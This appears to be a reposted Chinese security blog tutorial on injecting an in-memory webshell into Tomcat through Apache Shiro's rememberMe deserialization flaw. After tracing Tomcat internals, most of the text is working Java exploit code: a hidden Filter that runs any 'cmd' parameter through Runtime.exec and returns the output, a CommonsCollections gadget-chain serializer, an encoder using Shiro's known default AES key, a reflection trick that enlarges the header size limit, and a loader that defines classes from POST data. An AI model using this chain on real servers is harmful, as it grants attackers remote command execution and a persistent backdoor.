文章目录
前言
接上篇[Java安全]—Tomcat反序列化注入回显内存马_,在上篇提到师傅们找到了一种Tomcat注入回显内存马的方法, 但他其实有个不足之处:由于shiro中自定义了一个filter,因此无法在shiro中注入内存马。
所以在后边师傅们又找到了一个基于全局存储的新思路,可以在除tomcat 7以外的其他版本中使用。
流程分析
寻找response
思路仍然为寻找 tomcat 中哪个类会存储 Request 和 Response
在AbstractProcessor类中发现Request 和 Response,并且是final的,这就意味着一旦赋值后便不会被更改
所以下面就了解下如何对这两个属性进行的赋值
流程分析
首先在org.apache.coyote.AbstractProtocol#process 中会调用 createProcessor 方法创建Processor,Processo是主要负责请求的预处理
由于AbstractHttp11Protocol继承AbstractProtocol,所以会调用的AbstractProtocol的createProcessor(),之后会调用
Http11Processor
的构造方法
由于
Http11Processor
的父类是
AbstractProcessor
所以这里会调用父类的构造函数
在构造器中,会初始化 Request 和 Response 然后赋值给
AbstractProcessor
的 request 和 response 属性
至此我们的 request 和 response 就初始化完毕了,所以现在我们只要获取了 Http11Processor ,那么我们就能获取到我们的 Request 和 Response
获取Http11Processor
Http11Processor在通过createProcessor()创建的Processor中,因此下面的目标就是获取Processor
在createProcessor()下面,通过register方法对其进行了注册
跟进发现会从 processor 中获取到 RequestInfo类型的请求信息 rp,然后调用 setGlobalProcessor 将我们的 rp 存入子类ConnectionHandler 的 global 属性中
所以现在我们获取了 AbstractProtocol$ConnectoinHandler 之后我们就可以利用反射获取到其 global 属性,然后再利用反射获取 gloabl 中的 processors 属性,然后通过遍历 processors 我们可以获取到我们需要的 Request 和 Response
获取AbstractProtocol
下面就是寻找存储
AbstractProtocol
类的地方,或者其子类也可以
AbstractProtocol 是 ProtocolHandler 接口的实现类,所以如果能获取ProtocolHandler类也可以,在Connector类中发现了该类型的属性,所以只需要获取Connector类,就可以通过反射获取该属性
现在的调用链为:
Connector->AbstractProtocol$ConnectoinHandler->
global ->Processor->Request->Response
获取Connector
在 Tomcat 启动的过程中,将会调用
setConnector
方法将connector放在service中去,也即是
StandardService
类对象,所以可从 StandardService 中获取到 Connector
获取WebappClassLoader
可以通过WebappClassLoaderBase 来获取 Tomcat 上下文环境,所以最终的调用链为
WebappClassLoader->StandardService->Connector->AbstractProtocol$ConnectoinHandler->
global ->Processor->Request->Response
POC:
importcom.sun.org.apache.xalan.internal.xsltc.DOM;importcom.sun.org.apache.xalan.internal.xsltc.TransletException;importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;importcom.sun.org.apache.xml.internal.dtm.DTMAxisIterator;importcom.sun.org.apache.xml.internal.serializer.SerializationHandler;importorg.apache.catalina.core.StandardContext;importjavax.servlet.*;importjavax.servlet.http.HttpServletRequest;importjava.io.IOException;importjava.lang.reflect.Field;importjava.lang.reflect.Method;importjava.util.Map;publicclassTomcatMemShellInjectextendsAbstractTransletimplementsFilter{privatefinalString cmdParamName ="cmd";privatefinalstaticString filterUrlPattern ="/*";privatefinalstaticString filterName ="evilFilter";static{try{Class c =Class.forName("org.apache.catalina.core.StandardContext");org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();StandardContext standardContext =(StandardContext) webappClassLoaderBase.getResources().getContext();ServletContext servletContext = standardContext.getServletContext();FieldConfigs=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");Configs.setAccessible(true);Map filterConfigs =(Map)Configs.get(standardContext);if(filterConfigs.get(filterName)==null){java.lang.reflect.Field stateField =org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);FilterMemShell=newTomcatMemShellInject();javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext
.addFilter(filterName,MemShell);
filterRegistration.setInitParameter("encoding","utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST),false,newString[]{filterUrlPattern});if(stateField !=null){
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);}if(standardContext !=null){Method filterStartMethod =org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext,null);Class ccc =null;try{
ccc =Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");}catch(Throwable t){}if(ccc ==null){try{
ccc =Class.forName("org.apache.catalina.deploy.FilterMap");}catch(Throwable t){}}Method m = c.getMethod("findFilterMaps");Object[] filterMaps =(Object[]) m.invoke(standardContext);Object[] tmpFilterMaps =newObject[filterMaps.length];int index =1;for(int i =0; i < filterMaps.length; i++){Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");String name =(String) m.invoke(o);if(name.equalsIgnoreCase(filterName)){
tmpFilterMaps[0]= o;}else{
tmpFilterMaps[index++]= filterMaps[i];}}for(int i =0; i < filterMaps.length; i++){
filterMaps[i]= tmpFilterMaps[i];}}}}catch(Exception e){
e.printStackTrace();}}@Overridepublicvoidtransform(DOM document,SerializationHandler[] handlers)throwsTransletException{}@Overridepublicvoidtransform(DOM document,DTMAxisIterator iterator,SerializationHandler handler)throwsTransletException{}@Overridepublicvoidinit(FilterConfig filterConfig)throwsServletException{}@OverridepublicvoiddoFilter(ServletRequest servletRequest,ServletResponse servletResponse,FilterChain filterChain)throwsIOException,ServletException{HttpServletRequest req =(HttpServletRequest) servletRequest;System.out.println("Do Filter ......");String cmd;if((cmd = servletRequest.getParameter(cmdParamName))!=null){Process process =Runtime.getRuntime().exec(cmd);java.io.BufferedReader bufferedReader =newjava.io.BufferedReader(newjava.io.InputStreamReader(process.getInputStream()));StringBuilder stringBuilder =newStringBuilder();String line;while((line = bufferedReader.readLine())!=null){
stringBuilder.append(line +'\n');}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();return;}
filterChain.doFilter(servletRequest, servletResponse);}@Overridepublicvoiddestroy(){}}
aes加密
importcom.sun.org.apache.xerces.internal.impl.dv.util.Base64;importorg.apache.catalina.startup.Tomcat;importorg.apache.shiro.crypto.AesCipherService;importorg.apache.shiro.util.ByteSource;importjava.io.*;importorg.apache.coyote.http11.Http11Processor;publicclassAESEncode{publicstaticvoidmain(String[] args)throwsException{String tomcatHeader ="./tomcatHeader.ser";String tomcatInject ="./tomcatInject.ser";String tomcatEcho ="./TomcatEcho.ser";byte[] key =Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");AesCipherService aes =newAesCipherService();ByteSource ciphertext = aes.encrypt(getBytes(tomcatHeader), key);System.out.printf(ciphertext.toString());}publicstaticbyte[]getBytes(String path)throwsException{InputStream inputStream =newFileInputStream(path);ByteArrayOutputStream byteArrayOutputStream =newByteArrayOutputStream();int n =0;while((n=inputStream.read())!=-1){
byteArrayOutputStream.write(n);}byte[] bytes = byteArrayOutputStream.toByteArray();return bytes;}}
CC11
importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.keyvalue.TiedMapEntry;importorg.apache.commons.collections.map.LazyMap;importjava.io.*;importjava.lang.reflect.Field;importjava.util.HashMap;importjava.util.HashSet;@SuppressWarnings("all")publicclassCC11Template{publicstaticvoidmain(String[] args)throwsException{// 写入.class 文件// 将我的恶意类转成字节码,并且反射设置 bytecodesbyte[] classBytes =getBytes();byte[][] targetByteCodes =newbyte[][]{classBytes};TemplatesImpl templates =TemplatesImpl.class.newInstance();Field f0 = templates.getClass().getDeclaredField("_bytecodes");
f0.setAccessible(true);
f0.set(templates,targetByteCodes);
f0 = templates.getClass().getDeclaredField("_name");
f0.setAccessible(true);
f0.set(templates,"name");
f0 = templates.getClass().getDeclaredField("_class");
f0.setAccessible(true);
f0.set(templates,null);// 利用反射调用 templates 中的 newTransformer 方法InvokerTransformer transformer =newInvokerTransformer("toString",newClass[0],newObject[0]);HashMap innermap =newHashMap();LazyMap map =(LazyMap)LazyMap.decorate(innermap,transformer);TiedMapEntry tiedmap =newTiedMapEntry(map,templates);HashSet hashset =newHashSet(1);
hashset.add("foo");// 我们要设置 HashSet 的 map 为我们的 HashMapField f =null;try{
f =HashSet.class.getDeclaredField("map");}catch(NoSuchFieldException e){
f =HashSet.class.getDeclaredField("backingMap");}
f.setAccessible(true);HashMap hashset_map =(HashMap) f.get(hashset);Field f2 =null;try{
f2 =HashMap.class.getDeclaredField("table");}catch(NoSuchFieldException e){
f2 =HashMap.class.getDeclaredField("elementData");}
f2.setAccessible(true);Object[] array =(Object[])f2.get(hashset_map);Object node = array[0];if(node ==null){
node = array[1];}Field keyField =null;try{
keyField = node.getClass().getDeclaredField("key");}catch(Exception e){
keyField =Class.forName("java.util.MapEntry").getDeclaredField("key");}
keyField.setAccessible(true);
keyField.set(node,tiedmap);// 在 invoke 之后,Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer,"newTransformer");try{ObjectOutputStream outputStream =newObjectOutputStream(newFileOutputStream("./tomcatHeader.ser"));// ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./tomcatInject.ser"));
outputStream.writeObject(hashset);
outputStream.close();}catch(Exception e){
e.printStackTrace();}}publicstaticbyte[]getBytes()throwsIOException{InputStream inputStream =newFileInputStream(newFile("./src/test/java/TomcatHeaderSize.class"));// InputStream inputStream = new FileInputStream(new File("./src/test/java/TomcatMemShellInject.class"));ByteArrayOutputStream byteArrayOutputStream =newByteArrayOutputStream();int n =0;while((n=inputStream.read())!=-1){
byteArrayOutputStream.write(n);}byte[] bytes = byteArrayOutputStream.toByteArray();System.out.println(bytes);return bytes;}}
Header 长度限制绕过
通过CC11将POC的class文件进行序列化后,将序列化文件进行aes加密,传入rememberMe字段,之后会报错Header求情头过大:
1、反射修改maxHeaderSize
POC:
importcom.sun.org.apache.xalan.internal.xsltc.DOM;importcom.sun.org.apache.xalan.internal.xsltc.TransletException;importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;importcom.sun.org.apache.xml.internal.dtm.DTMAxisIterator;importcom.sun.org.apache.xml.internal.serializer.SerializationHandler;@SuppressWarnings("all")publicclassTomcatHeaderSizeextendsAbstractTranslet{static{try{java.lang.reflect.Field contextField =org.apache.catalina.core.StandardContext.class.getDeclaredField("context");java.lang.reflect.Field serviceField =org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");java.lang.reflect.Field requestField =org.apache.coyote.RequestInfo.class.getDeclaredField("req");java.lang.reflect.Field headerSizeField =org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");java.lang.reflect.Method getHandlerMethod =org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
contextField.setAccessible(true);
headerSizeField.setAccessible(true);
serviceField.setAccessible(true);
requestField.setAccessible(true);
getHandlerMethod.setAccessible(true);org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();org.apache.catalina.core.ApplicationContext applicationContext =(org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());org.apache.catalina.core.StandardService standardService =(org.apache.catalina.core.StandardService) serviceField.get(applicationContext);org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();for(int i =0; i < connectors.length; i++){if(4== connectors[i].getScheme().length()){org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();if(protocolHandler instanceoforg.apache.coyote.http11.AbstractHttp11Protocol){Class[] classes =org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();for(int j =0; j < classes.length; j++){// org.apache.coyote.AbstractProtocol$ConnectionHandlerif(52==(classes[j].getName().length())||60==(classes[j].getName().length())){java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");java.lang.reflect.Field processorsField =org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
globalField.setAccessible(true);
processorsField.setAccessible(true);org.apache.coyote.RequestGroupInfo requestGroupInfo =(org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler,null));java.util.List list =(java.util.List) processorsField.get(requestGroupInfo);for(int k =0; k < list.size(); k++){org.apache.coyote.Request tempRequest =(org.apache.coyote.Request) requestField.get(list.get(k));// 10000 为修改后的 headersize
headerSizeField.set(tempRequest.getInputBuffer(),10000);}}}// 10000 为修改后的 headersize ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);}}}}catch(Exception e){}}@Overridepublicvoidtransform(DOM document,SerializationHandler[] handlers)throwsTransletException{}@Overridepublicvoidtransform(DOM document,DTMAxisIterator iterator,SerializationHandler handler)throwsTransletException{}}
同样将文件进行序列化后,进行aes加密传入rememberMe
之后再将内存马注入
成功执行命令
2、自定义ClassLoader加载Body数据
remember中只传入自定义的ClassLoader来获取传入的POST数据
POC:
importcom.sun.org.apache.xalan.internal.xsltc.DOM;importcom.sun.org.apache.xalan.internal.xsltc.TransletException;importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;importcom.sun.org.apache.xml.internal.dtm.DTMAxisIterator;importcom.sun.org.apache.xml.internal.serializer.SerializationHandler;publicclassMyLoaderextendsAbstractTranslet{static{try{String pass ="loader";System.out.println("Loader load.....");org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();org.apache.catalina.Context context = webappClassLoaderBase.getResources().getContext();java.lang.reflect.Field contextField =org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
contextField.setAccessible(true);org.apache.catalina.core.ApplicationContext applicationContext =(org.apache.catalina.core.ApplicationContext) contextField.get(context);java.lang.reflect.Field serviceField =org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
serviceField.setAccessible(true);org.apache.catalina.core.StandardService standardService =(org.apache.catalina.core.StandardService) serviceField.get(applicationContext);org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();for(int i =0; i < connectors.length; i++){if(connectors[i].getScheme().contains("http")){org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();java.lang.reflect.Method getHandlerMethod =org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
getHandlerMethod.setAccessible(true);org.apache.tomcat.util.net.AbstractEndpoint.Handler connectoinHandler =(org.apache.tomcat.util.net.AbstractEndpoint.Handler) getHandlerMethod.invoke(protocolHandler,null);java.lang.reflect.Field globalField =Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);org.apache.coyote.RequestGroupInfo requestGroupInfo =(org.apache.coyote.RequestGroupInfo) globalField.get(connectoinHandler);java.lang.reflect.Field processorsField =org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
processorsField.setAccessible(true);java.util.List list =(java.util.List) processorsField.get(requestGroupInfo);//通过QueryString筛选for(int k =0; k < list.size(); k++){org.apache.coyote.RequestInfo requestInfo =(org.apache.coyote.RequestInfo) list.get(k);if(requestInfo.getCurrentUri().contains("demo")){System.out.println("success");java.lang.reflect.Field requestField =org.apache.coyote.RequestInfo.class.getDeclaredField("req");
requestField.setAccessible(true);org.apache.coyote.Request tempRequest =(org.apache.coyote.Request) requestField.get(requestInfo);org.apache.catalina.connector.Request request =(org.apache.catalina.connector.Request) tempRequest.getNote(1);org.apache.catalina.connector.Response response = request.getResponse();javax.servlet.http.HttpSession session = request.getSession();String classData = request.getParameter("classData");System.out.println(classData);byte[] classBytes =newsun.misc.BASE64Decoder().decodeBuffer(classData);java.lang.reflect.Method defineClassMethod =ClassLoader.class.getDeclaredMethod("defineClass",newClass[]{byte[].class,int.class,int.class});
defineClassMethod.setAccessible(true);Class cc =(Class) defineClassMethod.invoke(MyLoader.class.getClassLoader(), classBytes,0, classBytes.length);Class.forName(cc.getName());break;}}}}}catch(Exception e){
e.printStackTrace();}}@Overridepublicvoidtransform(DOM document,SerializationHandler[] handlers)throwsTransletException{}@Overridepublicvoidtransform(DOM document,DTMAxisIterator iterator,SerializationHandler handler)throwsTransletException{}}
请求时url必须加上demo才回加载
后记
这种注入方式其实还有些缺陷:
- 不适用于Tomcat7
- 需要有可利用反序列化的依赖,如:CommonsCollections等
但是后边通过师傅们的研究,找到了适用于tomcat7的原生依赖利用链,这个以后再分析。
参考
利用shiro反序列化注入冰蝎内存马 - night_ovo - 博客园 (cnblogs.com)
基于全局储存的新思路 | Tomcat的一种通用回显方法研究 (qq.com)
KpLi0rn/ShiroVulnEnv: Shiro内存马注入环境 (github.com)
版权归原作者 Sentiment. 所有, 如有侵权,请联系我们删除。